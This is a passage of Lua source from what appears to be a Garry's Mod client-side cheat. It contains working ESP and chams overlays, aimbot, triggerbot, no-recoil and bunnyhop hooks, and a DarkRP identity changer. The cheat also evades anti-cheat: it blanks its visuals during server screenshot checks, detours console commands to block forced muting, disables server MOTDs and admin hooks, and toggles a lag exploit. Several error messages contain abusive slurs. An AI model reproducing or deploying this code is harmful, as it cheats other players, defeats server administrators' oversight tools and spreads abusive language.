  2370. local OutlineCol = Color( 0, math.Clamp( ( math.cos( CurTime() *5 ) +1 ) /5 *600, 100, 255 ), 0 )
  2371. if( MS.Settings.Visuals.teamcolours ) then
  2372. InnerCol = team.GetColor( v:Team() )
  2373. end
  2374. if( table.HasValue( MS.HighPriority, v ) ) then
  2375. InnerCol = MS.Colours.traitorred
  2376. end
  2377. if( v:GetFriendStatus() != "friend" and ( v:IsAdmin() ) ) then
  2378. OutlineCol = Color( math.Clamp( ( math.cos( CurTime() *5 ) +1 ) /5 *600, 100, 255 ), 0, 0 )
  2379. end
  2380. if( LocalPlayer():GetObserverTarget() ) then
  2381. Width = math.Clamp( LocalPlayer():GetObserverTarget():GetShootPos():Distance( v:GetShootPos() ) /( #MS.Tracked /2 ), 500, 1000 )
  2382. end
  2383. if v:LookupBone( "ValveBiped.Bip01_R_Hand" ) then
  2384. End = v:GetBonePosition( v:LookupBone( "ValveBiped.Bip01_R_Hand" ) )
  2385. else
  2386. End = v:GetShootPos() - Vector( 0, 0, 30 )
  2387. end
  2388.  
  2389. render.SetMaterial( Material( "sprites/lookingat" ) )
  2390. if( v:GetFriendStatus() == "friend" or v:IsAdmin() ) then
  2391. render.DrawBeam( End, MS.Start, Width /160, 1, Width /60, OutlineCol )
  2392. end
  2393. render.DrawBeam( End, MS.Start, Width /200, 1, Width /60, InnerCol )
  2394. end
  2395. end
  2396.  
  2397. if( MS.Settings.Visuals.verticalbeam ) then
  2398. if( !v:GetObserverTarget() and team.GetName( v:Team() ) != "Spectator" ) then
  2399. local Up = util.TraceLine( { start = Origin, endpos = Origin + Vector( 0, 0, 16384 ), filter = { v }, mask = MASK_SHOT } )
  2400. local Down = util.TraceLine( { start = Origin, endpos = Origin - Vector( 0, 0, 16384 ), filter = { v }, mask = MASK_SHOT } )
  2401. local Dist = math.Clamp( v:GetShootPos():Distance( LocalPlayer():GetShootPos() ), 100, 2500 )
  2402. local CutoffPos
  2403. local SpriteDist
  2404. local VertBeamCol = Col
  2405. local V = { Start = Up.HitPos, End = Down.HitPos, Width = Dist /50 }
  2406. local StretchX = Dist/200
  2407. local StretchY = Dist/400
  2408.  
  2409. if( MS.Settings.Visuals.headsmash )then
  2410. if( IsValid( MS.EntityLock ) and IsValid( LocalPlayer():GetActiveWeapon() ) and LocalPlayer():KeyDown( IN_ATTACK ) and LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" ) then
  2411. CutoffPos = Vector( Origin.x, Origin.y, MS.EntityLock:GetPos().z )
  2412. local Halfway = ( MS.EntityLock:GetPos() + CutoffPos )/2
  2413. local Halfway2 = ( Halfway + LocalPlayer():GetShootPos() )/2
  2414. local Dist2 = math.Clamp( Halfway2:Distance( LocalPlayer():GetShootPos() ), 100, 2500 )
  2415. local H = { Start, End = MS.EntityLock:GetPos(), Width = Dist2 /50 }
  2416. H.Start = CutoffPos
  2417. SpriteDist = math.Clamp( CutoffPos:Distance( LocalPlayer():GetShootPos() ), 100, 2500 )
  2418.  
  2419. if( MS.EntityLock:GetPos().z > Origin.z ) then
  2420. V.Start = CutoffPos
  2421. else
  2422. V.End = CutoffPos
  2423. end
  2424. if( IsValid( Up.Entity ) and Up.Entity == MS.EntityLock ) then
  2425. Dist = math.Clamp( Origin:Distance( LocalPlayer():GetShootPos() ) *2, 1, 99999 )
  2426. VertBeamCol = HSVToColor( CurTime() *2750 %360, 1, 1 )
  2427. V.Width = Dist /5
  2428. StretchX = 0
  2429. StretchY = 0
  2430. end
  2431. render.SetMaterial( Material( "sprites/tp_beam001" ) )
  2432. render.DrawBeam( H.Start, H.End, H.Width, StretchX, StretchY, VertBeamCol )
  2433. render.SetMaterial( Material( "sprites/dot" ) )
  2434. render.DrawSprite( CutoffPos, SpriteDist /50, SpriteDist /50, InvertColour( VertBeamCol ), true )
  2435. render.SetMaterial( Material( "Sprites/light_glow02_add_noz" ) )
  2436. render.DrawSprite( CutoffPos, SpriteDist /4, SpriteDist /4, InvertColour( VertBeamCol ), true )
  2437. end
  2438. end
  2439. render.SetMaterial( Material( "sprites/tp_beam001" ) )
  2440. render.DrawBeam( V.Start, V.End, V.Width, StretchX, StretchY, VertBeamCol )
  2441. end
  2442. end
  2443.  
  2444. if( MS.Settings.Visuals.eyetrace and !v:IsBot() ) then
  2445. local Dist = math.Clamp( v:GetShootPos():Distance( LocalPlayer():GetShootPos() ), 100, 1000 )
  2446. local StretchX = Dist/100
  2447. local StretchY = Dist/200
  2448. local EyeTraceStart = Origin
  2449. if( v:LookupBone( "ValveBiped.Bip01_R_Hand" ) ) then
  2450. EyeTraceStart = v:GetBonePosition( v:LookupBone( "ValveBiped.Bip01_R_Hand" ) )
  2451. end
  2452. render.SetMaterial( Material( "sprites/tp_beam001" ) )
  2453. render.DrawBeam( EyeTraceStart, v:GetEyeTrace().HitPos, Dist/50, StretchX, StretchY, Col )
  2454. end
  2455. end
  2456. cam.IgnoreZ( false )
  2457. cam.End3D()
  2458.  
  2459. for k,v in pairs( player.GetAll() ) do
  2460. if( !IsValid( v ) or v == LocalPlayer() or ( MS.Settings.Visuals.savefps and IsOutOfFOV( v ) ) or ( #MS.Isolated >0 and !table.HasValue( MS.Isolated, v ) ) or ( gmod:GetGamemode().Name == "Propkill v2.6" and team.GetName( v:Team() ) == "Spectator" ) or ( gmod.GetGamemode().Name == "Trouble in Terrorist Town" and ( ( team.GetName( v:Team() ) == "Spectators" and team.GetName( LocalPlayer():Team() ) != "Spectators" ) or ( team.GetName( v:Team() ) != "Spectators" and team.GetName( LocalPlayer():Team() ) == "Spectators" ) ) ) ) then continue end
  2461.  
  2462. local Origin = v:GetPos() + Vector( 0, 0, 40 )
  2463. local pos = ( v:GetShootPos() + Vector( 0, 0, LocalPlayer():GetShootPos():Distance( v:GetShootPos() ) /90 ) ):ToScreen()
  2464. if v:Crouching() then
  2465. pos = ( v:GetShootPos() + Vector( 0, 0, LocalPlayer():GetShootPos():Distance( v:GetShootPos() ) /90 +20 ) ):ToScreen()
  2466. end
  2467. local HP = MS.Colours.red
  2468. local Col = MS.Colours.Col
  2469. if( MS.Settings.Visuals.teamcolours ) then
  2470. Col = team.GetColor( v:Team() )
  2471. end
  2472. local Out = InvertColour( Col )
  2473. if( table.HasValue( MS.Traitors, v ) or table.HasValue( MS.HighPriority, v ) ) then
  2474. Col = MS.Colours.black
  2475. Out = MS.Colours.traitorred
  2476. end
  2477.  
  2478. if v:Health() >= 90 then HP = Color( 0, 255, 0, 255 )
  2479. elseif v:Health() >= 80 then HP = Color( 150, 255, 0, 255 )
  2480. elseif v:Health() >= 70 then HP = Color( 190, 255, 0, 255 )
  2481. elseif v:Health() >= 60 then HP = Color( 220, 230, 0, 255 )
  2482. elseif v:Health() >= 50 then HP = Color( 240, 220, 0, 255 )
  2483. elseif v:Health() >= 40 then HP = Color( 255, 190, 0, 255 )
  2484. elseif v:Health() >= 30 then HP = Color( 255, 150, 0, 255 )
  2485. elseif v:Health() >= 20 then HP = Color( 255, 120, 0, 255 )
  2486. elseif v:Health() >= 10 then HP = Color( 255, 100, 0, 255 )
  2487. end
  2488.  
  2489. if( MS.Settings.Visuals.Text.on ) then
  2490.  
  2491. if( DarkRP ) then
  2492. GAMEMODE.Config.showname = false
  2493. GAMEMODE.Config.showhealth = false
  2494. GAMEMODE.Config.showjob = false
  2495. end
  2496.  
  2497. local ESPY = pos.y -25
  2498.  
  2499. if( MS.Settings.Visuals.Text.espvelocity ) then
  2500. local X = pos.x
  2501. local PlyVel = tostring( math.Round( v:GetVelocity():Length() ) )
  2502. if( v:GetVelocity():Length() > 1000 ) then
  2503. PlyVel = tostring( math.Round( v:GetVelocity():Length() /1000, 1 ) ) .. "K"
  2504. end
  2505. if( MS.Settings.Visuals.Text.rank and !MS.Settings.Visuals.Text.distance and v:IsAdmin() ) then
  2506. X = pos.x +( 10 + string.len( PlyVel ) *3.4 )
  2507. end
  2508. draw.SimpleTextOutlined( PlyVel, "ass", X, ESPY+14, Col, 1, 1, 1, Out )
  2509. else
  2510. ESPY = ESPY +14
  2511. end
  2512.  
  2513. if( MS.Settings.Visuals.Text.distance ) then
  2514. local X = pos.x
  2515. local PlyDist = tostring( math.Round( LocalPlayer():GetShootPos():Distance( v:GetShootPos() ) ) )
  2516. if( LocalPlayer():GetShootPos():Distance( v:GetShootPos() ) > 1000 ) then
  2517. PlyDist = tostring( math.Round( LocalPlayer():GetShootPos():Distance( v:GetShootPos() ) /1000, 1 ) ) .. "K"
  2518. end
  2519. if( MS.Settings.Visuals.Text.rank and string.len( v:GetNWString( "UserGroup" ) ) > 0 and v:IsAdmin() ) then
  2520. X = pos.x +10 +( string.len( PlyDist ) *3.4 )
  2521. end
  2522. draw.SimpleTextOutlined( PlyDist, "ass", X, ESPY, Col, 1, 1, 1, Out )
  2523. ESPY = ESPY -14
  2524. end
  2525.  
  2526. if( MS.Settings.Visuals.Text.rank and string.len( v:GetNWString( "UserGroup" ) ) >0 and v:GetNWString( "UserGroup" ) != "user" and v:GetNWString( "UserGroup" ) != "guest" ) then
  2527. draw.SimpleTextOutlined( string.upper( v:GetNWString( "UserGroup" ) ), "ass", pos.x, ESPY, Col, 1, 1, 1, Out )
  2528. if( v:IsAdmin() ) then
  2529. render.SetMaterial( Material( "icon16/emoticon_unhappy.png" ) )
  2530. render.DrawQuad( Vector( pos.x -7, ESPY +4, 0 ), Vector( pos.x +9, ESPY +4, 0 ), Vector( pos.x +9, ESPY +20, 0 ), Vector( pos.x -7, ESPY +20, 0 ) )
  2531. end
  2532. ESPY = ESPY -14
  2533. end
  2534.  
  2535. if( MS.Settings.Visuals.Text.weapon and IsValid( v:GetActiveWeapon() ) and type( v:GetActiveWeapon() ) == "Weapon" ) then
  2536. draw.SimpleTextOutlined( string.upper( v:GetActiveWeapon():GetPrintName() ), "ass", pos.x, ESPY, Col, 1, 1, 1, Out )
  2537. ESPY = ESPY -14
  2538. end
  2539.  
  2540. if( MS.Settings.Visuals.Text.health ) then
  2541. draw.SimpleTextOutlined( v:Health(), "ass", pos.x, ESPY, HP, 1, 1, 1, MS.Colours.black )
  2542. ESPY = ESPY -14
  2543. end
  2544.  
  2545. if( MS.Settings.Visuals.Text.names ) then
  2546. draw.SimpleTextOutlined( string.upper( v:Nick() ), "ass", pos.x, ESPY, Col, 1, 1, 1, Out )
  2547. ESPY = ESPY -14
  2548. end
  2549.  
  2550. if( MS.Settings.Visuals.Text.mingenametags and !v:IsBot() ) then
  2551. for k2, v2 in pairs( SteamIDs ) do
  2552. if( table.HasValue( v2, GetHash( v:SteamID() ) ) and v != LocalPlayer() ) then
  2553. MS.FriendlyMinge = k2
  2554. break
  2555. end
  2556. end
  2557. if( MS.FriendlyMinge ) then
  2558. draw.SimpleTextOutlined( string.upper( MS.FriendlyMinge ), "ass", pos.x, ESPY, MS.Colours.black, 1, 1, 1, Color( 0, math.Clamp( ( math.cos( CurTime() *5 ) +1 ) /2 *400, 150, 255 ), 0 ) )
  2559. render.SetMaterial( Material( "icon16/heart.png" ) )
  2560. render.DrawQuad( Vector( pos.x -4, ESPY -15, 0 ), Vector( pos.x +6, ESPY -15, 0 ), Vector( pos.x +6, ESPY -5, 0 ), Vector( pos.x -4, ESPY -5, 0 ) )
  2561. end
  2562. MS.FriendlyMinge = nil
  2563. end
  2564. end
  2565. end
  2566.  
  2567. if( MS.Settings.Visuals.crosshair ) then
  2568. surface.SetDrawColor( MS.Colours.CrosshairCol.r, MS.Colours.CrosshairCol.g, MS.Colours.CrosshairCol.b )
  2569. surface.DrawLine( MS.CHOutterPos1.x, MS.CHOutterPos1.y, MS.CHOutterPos2.x, MS.CHOutterPos2.y )
  2570. surface.DrawLine( MS.CHOutterPos3.x, MS.CHOutterPos3.y, MS.CHOutterPos4.x, MS.CHOutterPos4.y )
  2571. surface.DrawLine( MS.CHOutterPos5.x, MS.CHOutterPos5.y, MS.CHOutterPos6.x, MS.CHOutterPos6.y )
  2572. surface.DrawLine( MS.CHOutterPos7.x, MS.CHOutterPos7.y, MS.CHOutterPos8.x, MS.CHOutterPos8.y )
  2573. surface.DrawLine( MS.CHMidPos1.x, MS.CHMidPos1.y, MS.CHMidPos2.x, MS.CHMidPos2.y )
  2574. surface.DrawLine( MS.CHMidPos3.x, MS.CHMidPos3.y, MS.CHMidPos4.x, MS.CHMidPos4.y )
  2575. surface.DrawLine( MS.CHMidPos5.x, MS.CHMidPos5.y, MS.CHMidPos6.x, MS.CHMidPos6.y )
  2576. surface.DrawLine( MS.CHMidPos7.x, MS.CHMidPos7.y, MS.CHMidPos8.x, MS.CHMidPos8.y )
  2577. surface.DrawLine( MS.CHInnerPos1.x, MS.CHInnerPos1.y, MS.CHInnerPos2.x, MS.CHInnerPos2.y )
  2578. surface.DrawLine( MS.CHInnerPos3.x, MS.CHInnerPos3.y, MS.CHInnerPos4.x, MS.CHInnerPos4.y )
  2579. surface.DrawLine( MS.CHInnerPos5.x, MS.CHInnerPos5.y, MS.CHInnerPos6.x, MS.CHInnerPos6.y )
  2580. surface.DrawLine( MS.CHInnerPos7.x, MS.CHInnerPos7.y, MS.CHInnerPos8.x, MS.CHInnerPos8.y )
  2581. end
  2582. end
  2583. HKA( "PostDrawHUD", "RenderOrder", RenderOrder )
  2584.  
  2585. local function PropChams()
  2586. if( MS.ScreenGrab or !MS.Settings.Visuals.propchams ) then return end
  2587. MS.ChamTable = {}
  2588. for k,v in pairs( MS.PropChamClasses ) do
  2589. table.Add( MS.ChamTable, ents.FindByClass( v ) )
  2590. end
  2591. cam.Start3D()
  2592. cam.IgnoreZ( true )
  2593. render.MaterialOverride( MS.WhiteMaterial )
  2594. render.SetBlend( MS.Settings.Visuals.PropA /100 )
  2595.  
  2596. for k,v in pairs( MS.ChamTable ) do
  2597. if( !IsValid( v ) or MS.Settings.Visuals.savefps and IsOutOfFOV( v ) ) then continue end
  2598. local Col = MS.Colours.PropChamsColour
  2599.  
  2600. if( MS.Settings.Visuals.checktidesgate and table.HasValue( MS.DangerProps, v:GetModel() ) ) then
  2601. local Blocked = util.TraceLine( { start = LocalPlayer():GetShootPos(), endpos = v:GetPos(), filter = { LocalPlayer(), v }, mask = MASK_SHOT } )
  2602. if( !Blocked.Hit and v != MS.EntityLock ) then
  2603. Col = Color( math.Clamp( ( math.cos( CurTime() *50 ) +1 ) /2 *600, 0, 255 ), 0, 0 )
  2604. end
  2605. end
  2606. render.SetColorModulation( Col.r /255, Col.g /255, Col.b /255 )
  2607.  
  2608. if( !v:GetNoDraw() or !v.NoDraw ) then
  2609. v:SetNoDraw( true )
  2610. MS.SetNoVis = true
  2611. end
  2612.  
  2613. v:DrawModel()
  2614. end
  2615. cam.IgnoreZ( false )
  2616. cam.End3D()
  2617. end
  2618. HKA( "PreDrawHUD", "PropChams", PropChams )
  2619.  
  2620. CCA( "+ms_aim", function()
  2621. MS.Settings.Aimbot.enabled = true
  2622. MS.UpdateSilentAngle = true
  2623. end )
  2624.  
  2625. CCA( "-ms_aim", function()
  2626. MS.Settings.Aimbot.enabled = false
  2627. if( MS.Settings.Aimbot.silent and GetSuitableTarget() ) then
  2628. LocalPlayer():SetEyeAngles( MS.SilentAimAngle )
  2629. end
  2630. MS.NextSnap = 0
  2631. MS.UpdateSilentAngle = false
  2632. MS.SnapBack = false
  2633. MS.TargetPly = nil
  2634. end )
  2635.  
  2636. CCA( "+ms_triggerbot", function() MS.Settings.TriggerBot.enabled = true end )
  2637. CCA( "-ms_triggerbot", function() MS.Settings.TriggerBot.enabled = false MS.IsFiring = false end )
  2638.  
  2639. CCA( "ms_propchams", function()
  2640. MS.Settings.Visuals.propchams = !MS.Settings.Visuals.propchams
  2641. if( MS.Settings.Visuals.propchams ) then
  2642. RCC( "play", "buttons/combine_button3.wav" )
  2643. MS.SetNoVis = true
  2644. else
  2645. RCC( "play", "buttons/combine_button2.wav" )
  2646. MS.ResetVis = true
  2647. end
  2648. end )
  2649.  
  2650. CCA( "ms_playerchams", function()
  2651. MS.Settings.Visuals.playerchams = !MS.Settings.Visuals.playerchams
  2652. if( MS.Settings.Visuals.playerchams ) then
  2653. RCC( "play", "buttons/combine_button3.wav" )
  2654. else
  2655. RCC( "play", "buttons/combine_button2.wav" )
  2656. end
  2657. end )
  2658.  
  2659. CCA( "ms_who", function()
  2660. MSMsg( "MS WHO" )
  2661. for k,v in pairs( player.GetAll() ) do
  2662. if v:IsBot() then continue end
  2663. if( DarkRP ) then
  2664. steamworks.RequestPlayerInfo( v:SteamID64() )
  2665. timer.Simple( 0.5, function()
  2666. MSMsg( v:Nick() .. string.rep( ".", 30 -string.len( v:Nick() ) ) .. steamworks.GetPlayerName( v:SteamID64() ) .. string.rep( ".", 33 -string.len( steamworks.GetPlayerName( v:SteamID64() ) ) ) .. v:GetNWString( "UserGroup" ) .. string.rep( ".", 12 -string.len( v:GetNWString( "UserGroup" ) ) ) .. v:SteamID() )
  2667. end )
  2668. else
  2669. MSMsg( v:Nick() .. string.rep( ".", 30 -string.len( v:Nick() ) ) .. v:GetNWString( "UserGroup" ) .. string.rep( ".", 12 -string.len( v:GetNWString( "UserGroup" ) ) ) .. v:SteamID() )
  2670. end
  2671. end
  2672. end )
  2673.  
  2674. local function WepColours()
  2675. MSMsg( "MS WEPCOLOURS" )
  2676. for k,v in pairs( player.GetAll() ) do
  2677. MSMsg( v:Nick() .. string.rep( ".", 33 -string.len( v:Nick() ) ) .. tostring( v:GetWeaponColor() ) )
  2678. end
  2679. end
  2680. CCA( "ms_wepcolours", WepColours )
  2681.  
  2682. //detour
  2683. function RunConsoleCommand( ... )
  2684. return RCC( ... )
  2685. end
  2686.  
  2687. //innocentroleplayer
  2688. local function IdentityChanger()
  2689. if( !DarkRP ) then MSError( "THIS FEATURE REQUIRES DARKRP YOU ABORTION SURVIVOR." ) return end
  2690. MS.RPJobs = {}
  2691.  
  2692. if( ConVarExists( "ms_setingamename" ) )then
  2693. RCC( "ms_setingamename", table.Random( MS.UserNames ) )
  2694. end
  2695. if( math.Round( math.random( 1, 5 ) ) == 1 ) then
  2696. RCC( "play", "bot/i_dont_know_where_he_went.wav" )
  2697. timer.Simple( 0.9, function() RCC( "play", "bot/anyone_see_anything.wav" ) end )
  2698. end
  2699. for k,v in pairs( RPExtraTeams ) do
  2700. if( v.vote != false or v.admin != 0 or v.NeedToChangeFrom != nil or v.customCheck != nil or v.CustomCheckFailMsg != nil or v.label != nil or v.jobType != nil or v.RequiresVote != nil or LocalPlayer():Team() == k or ( team.NumPlayers( v.team ) >= v.max and v.max != 0 ) ) then continue end
  2701. table.insert( MS.RPJobs, v )
  2702. end
  2703.  
  2704. if( #MS.RPJobs < 2 ) then MSError( "NO VALID JOBS AVAILABLE" ) return end
  2705.  
  2706. while( MS.NewJob == MS.LastJob ) do
  2707. MS.Job2 = table.Random( MS.RPJobs )
  2708. MS.NewJob = MS.Job2.command
  2709. end
  2710. LogMsg( "CHANGING JOB FROM " .. team.GetName( LocalPlayer():Team() ) .. " TO " .. MS.Job2.name )
  2711. while( MS.LastFirstName == MS.NewFirstName ) do
  2712. MS.NewFirstName = table.Random( MS.FirstNames )
  2713. end
  2714. while( MS.LastSurname == MS.NewSurname ) do
  2715. MS.NewSurname = table.Random( MS.Surnames )
  2716. end
  2717. LogMsg( "CHANGING NAME FROM " .. LocalPlayer():Nick() .. " TO " .. MS.NewFirstName .. " " .. MS.NewSurname )
  2718.  
  2719. if( ( LocalPlayer():Health() >0 and IsValid( LocalPlayer():GetActiveWeapon() ) ) and !table.HasValue( MS.IgnoreDropWeps, LocalPlayer():GetActiveWeapon():GetClass() ) ) then
  2720. if!( LocalPlayer():KeyDown( IN_ATTACK ) and LocalPlayer():KeyDown( IN_ATTACK2 ) ) then
  2721. RCC( "darkrp", "drop" )
  2722. end
  2723. timer.Simple( 1, function()
  2724. if!( LocalPlayer():KeyDown( IN_ATTACK ) and LocalPlayer():KeyDown( IN_ATTACK2 ) ) then
  2725. RCC( "darkrp", MS.NewJob )
  2726. end
  2727. RCC( "darkrp", "name", MS.NewFirstName .. " " .. MS.NewSurname )
  2728. end )
  2729. else
  2730. if!( LocalPlayer():KeyDown( IN_ATTACK ) and LocalPlayer():KeyDown( IN_ATTACK2 ) ) then
  2731. RCC( "darkrp", MS.NewJob )
  2732. end
  2733. RCC( "darkrp", "name", MS.NewFirstName .. " " .. MS.NewSurname )
  2734. end
  2735. MS.LastFirstName = MS.NewFirstName
  2736. MS.LastSurname = MS.NewSurname
  2737. MS.LastJob = MS.NewJob
  2738. end
  2739. CCA( "ms_innocentroleplayer", IdentityChanger )
  2740.  
  2741. //bunnyhop
  2742. local function MSBhop()
  2743. MS.Hopping = true
  2744. end
  2745. local function MSBstop()
  2746. RCC( "-jump" )
  2747. MS.Hopping = false
  2748. end
  2749. CCA( "+ms_bhop", MSBhop )
  2750. CCA( "-ms_bhop", MSBstop )
  2751.  
  2752. //screengrab immunity
  2753. net.Receive( "screengrab_start", function()
  2754. RCC( "play", "vo/heavy_generic01.wav" )
  2755. MS.ScreenGrab = true
  2756. timer.Simple( 1, function()
  2757. local qual = net.ReadInt( 32 )
  2758. local info = {
  2759. format = "jpeg",
  2760. h = ScrH(),
  2761. w = ScrW(),
  2762. quality = qual,
  2763. x = 0,
  2764. y = 0
  2765. }
  2766. local frags = math.ceil( string.len( util.Base64Encode( render.Capture( info ) ) ) / 20000 )
  2767. for i = 1, frags do
  2768. local start = ( i * 20000 ) - 20000 + 1
  2769. local stop = ( i * 20000 )
  2770.  
  2771. if stop > string.len( util.Base64Encode( render.Capture( info ) ) ) then
  2772. stop = string.len( util.Base64Encode( render.Capture( info ) ) )
  2773. end
  2774. SCRG.DATA[i] = string.sub( util.Base64Encode( render.Capture( info ) ), start, stop )
  2775. end
  2776. net.Start( "screengrab_start" )
  2777. net.WriteUInt( frags, 32 )
  2778. net.SendToServer()
  2779. end )
  2780. end )
  2781. net.Receive( "screengrab_part", function()
  2782. timer.Simple( 1, function()
  2783. local nextsend = SCRG.DATA[ SCRG.UPTO ]
  2784. nextsend = util.Compress( nextsend )
  2785. net.Start( "screengrab_part" )
  2786. net.WriteUInt( string.len( nextsend ), 32 )
  2787. net.WriteData( nextsend, string.len( nextsend ) )
  2788. net.SendToServer()
  2789. if SCRG.UPTO == #SCRG.DATA then
  2790. SCRG.UPTO = 1
  2791. SCRG.DATA = {}
  2792. MS.ScreenGrab = false
  2793. return
  2794. end
  2795. SCRG.UPTO = SCRG.UPTO + 1
  2796. end )
  2797. end )
  2798.  
  2799. //Anubis's Lagsploit
  2800. local function ToggleLagsploit()
  2801. if( !DarkRP ) then MSError( "THIS FEATURE REQUIRES DARKRP YOU BABY TOUCHER" ) return end
  2802. MS.Lagsploiting = !MS.Lagsploiting
  2803. EnabledDisabled( "LAGSPLOIT", MS.Lagsploiting )
  2804. end
  2805. CCA( "ms_lagsploit", ToggleLagsploit )
  2806.  
  2807. //evolve mute killer
  2808. local OConCommand = FindMetaTable( "Player" ).ConCommand
  2809. FindMetaTable( "Player" ).ConCommand = function( cmd )
  2810. if( type( cmd ) == "string" and string.find( string.lower( cmd ), "-voicerecord" ) ) then return end
  2811. end
  2812. RunConsoleCommand = function( ... )
  2813. if( ... == "-voicerecord" ) then return end
  2814. return RCC( ... )
  2815. end
  2816.  
  2817. //no recoil
  2818. if( MS.Settings.Aimbot.norecoil ) then
  2819. local OEyeAngles = FindMetaTable( "Player" ).SetEyeAngles
  2820. FindMetaTable( "Player" ).SetEyeAngles = function( self, angle )
  2821. if( string.find( string.lower( debug.getinfo( 2 ).short_src ), "/weapons/" ) ) then return end
  2822. OEyeAngles( self, angle )
  2823. end
  2824. end
  2825.  
  2826. //magical physgun colours
  2827. local function initiatePhysgunOverride()
  2828. matproxy.Add(
  2829. {
  2830. name = "PlayerWeaponColor",
  2831. init = function( self, mat, values )
  2832. self.ResultTo = values.resultvar
  2833. end,
  2834.  
  2835. bind = function( self, mat, ent )
  2836. if( !IsValid( ent ) ) then return end
  2837. if( !IsValid( ent:GetOwner() ) or !ent:GetOwner():IsPlayer() ) then return end
  2838.  
  2839. if( MS.Settings.Visuals.overridephysgun and ent:GetOwner() == LocalPlayer() ) then
  2840. if( MS.Settings.Visuals.haloselection == 1 )then --team colour
  2841. MS.PhysOverrideCol = Vector( team.GetColor( LocalPlayer():Team() ).r /255, team.GetColor( LocalPlayer():Team() ).g /255, team.GetColor( LocalPlayer():Team() ).b /255 )
  2842. elseif( MS.Settings.Visuals.haloselection == 2 )then --health
  2843. MS.PhysOverrideCol = Vector( ( math.Clamp( LocalPlayer():Health()/100, 0, 1 )*-1 )+1, math.Clamp( LocalPlayer():Health()/100, 0, 1 ), 0 )
  2844. elseif( MS.Settings.Visuals.haloselection == 3 )then -- custom
  2845. MS.PhysOverrideCol = Vector( MS.Settings.Visuals.CustomR/255, MS.Settings.Visuals.CustomG/255, MS.Settings.Visuals.CustomB/255 )
  2846. elseif( MS.Settings.Visuals.haloselection == 4 )then -- RAINBOW
  2847. MS.PhysOverrideCol = Vector( HSVToColor( CurTime() *MS.Settings.Visuals.rainbowmult*10 %360, 1, 1 ).r / 255, HSVToColor( CurTime() *MS.Settings.Visuals.rainbowmult*10 %360, 1, 1 ).g / 255, HSVToColor( CurTime() *MS.Settings.Visuals.rainbowmult*10 %360, 1, 1 ).b / 255 )
  2848. else -- incase of fuckup, go blue
  2849. MS.PhysOverrideCol = Vector( 0, 0, 1 )
  2850. end
  2851. MS.PhysOverrideMul = ( 1 + math.sin( CurTime() * 5 ) )*0.5
  2852. else
  2853. MS.PhysOverrideCol = ent:GetOwner():GetWeaponColor();
  2854. if( !isvector( MS.PhysOverrideCol ) ) then return end
  2855. MS.PhysOverrideMul = ( 1 + math.sin( CurTime() * 2 ) ) * 0.5
  2856. end
  2857.  
  2858. mat:SetVector( self.ResultTo, MS.PhysOverrideCol + MS.PhysOverrideCol * MS.PhysOverrideMul );
  2859. end
  2860. }
  2861. )
  2862. end
  2863.  
  2864. // shit to run on load
  2865. local function ShitToRunOnLoad()
  2866. RCC( "M9KGasEffect", 0 )
  2867. RCC( "cl_updaterate", 1000 )
  2868. RCC( "cl_cmdrate", 0 )
  2869. RCC( "cl_interp", 0 )
  2870. RCC( "cl_interp_ratio", 1 )
  2871. RCC( "rate", 1048576 )
  2872. RCC( "cl_drawspawneffect", 0 )
  2873. HKR( "Think", "AutoPropScroll" )
  2874. if( MS.Settings.Visuals.addwire ) then
  2875. table.insert( MS.PropChamClasses, "gmod_wire*" )
  2876. end
  2877. if( MS.Settings.Visuals.nosky ) then
  2878. HKA( "PreDrawSkyBox", "removeSkybox", function() render.Clear( math.abs( math.cos( CurTime() /10 ) *100 ), math.abs( math.cos( CurTime() /10 ) *100 ), math.abs( math.cos( CurTime()/10 ) *100 ), 255 ) return true end )
  2879. end
  2880. if( MS.Settings.Aimbot.noshake ) then
  2881. HKA( "CalcView", "NoShake", NoShake )
  2882. end
  2883. if( ulx ) then
  2884. function ulx.showMotdMenu() MSError( "ULX MOTD DESTROYED" ) return end
  2885. end
  2886. if( MODERN != nil ) then
  2887. function MODERN.OpenMOTD() return end
  2888. end
  2889. net.Receive( "sBlockGMSpawn", function()
  2890. hook.Remove( "PlayerBindPress", "_sBlockGMSpawn" )
  2891. end )
  2892. net.Receive( "open_menu", function()
  2893. MSError( "GARBAGE MOTD DESTROYED" )
  2894. end )
  2895. net.Receive( "closebutton_repeat", function() end )
  2896. HKR( "CalcView", "rp_deathPOV" )
  2897. initiatePhysgunOverride()
  2898. end
  2899. ShitToRunOnLoad()
  2900.  
  2901. //for load priority
  2902. HKA( "PostGamemodeLoaded", "ShitForLoadPriotity", function()
  2903. ShitToRunOnLoad()
  2904. end )
  2905.  
  2906. //various concommands
  2907. CCA( "buttonglass1", function()
  2908. RCC( "button_model", "models/props/cs_militia/gun_cabinet_glass.mdl" )
  2909. end )
  2910. CCA( "buttonglass2", function()
  2911. RCC( "button_model", "models/props_c17/tv_monitor01_screen.mdl" )
  2912. end )
  2913. CCA( "buttonglass3", function()
  2914. RCC( "button_model", "models/props_wasteland/light_spotlight02_base.mdl" )
  2915. end )
  2916. CCA( "buttonglass4", function()
  2917. RCC( "button_model", "models/props/cs_militia/reload_bullet_tray.mdl" )
  2918. end )
  2919. CCA( "buttonglass5", function()
  2920. RCC( "button_model", "models/mechanics/various/211.mdl" )
  2921. end )
  2922. CCA( "buttonlag", function()
  2923. RCC( "button_model", "models/props_phx/misc/potato_launcher_chamber.mdl" )
  2924. end )
  2925. CCA( "buttonstove", function()
  2926. RCC( "button_model", "models/props/cs_militia/stove01.mdl" )
  2927. end )
  2928. CCA( "getinfo", function()
  2929. MSMsg( "MODEL - " .. LocalPlayer():GetEyeTrace().Entity:GetModel() )
  2930. MSMsg( "CLASS - " .. LocalPlayer():GetEyeTrace().Entity:GetClass() )
  2931. end )
  2932. CCA( "wepclass", function()
  2933. MSMsg( LocalPlayer():GetActiveWeapon():GetClass() )
  2934. end )
  2935. CCA( "ms_jobinfo", function()
  2936. if( !DarkRP ) then
  2937. MSError( "THIS FEATURE REQUIRES DARKRP YOU BABY RAPIST." )
  2938. return
  2939. end
  2940. for k,v in pairs( RPExtraTeams ) do
  2941. MSMsg( "_____________________________________________________________________________________" )
  2942. PrintTable( v )
  2943. end
  2944. end )
  2945. CCA( "+ms_torchspam", function() MS.TorchSpamming = true end )
  2946. CCA( "-ms_torchspam", function() MS.TorchSpamming = false end )
  2947.  
  2948. //ropenado
  2949. CCA( "+ms_ropenado", function( _, _, args )
  2950. MS.PrevAng = LocalPlayer():EyeAngles()
  2951. MS.RopeSpamming = true;
  2952. end )
  2953. CCA( "-ms_ropenado", function()
  2954. MS.RopeSpamming = false;
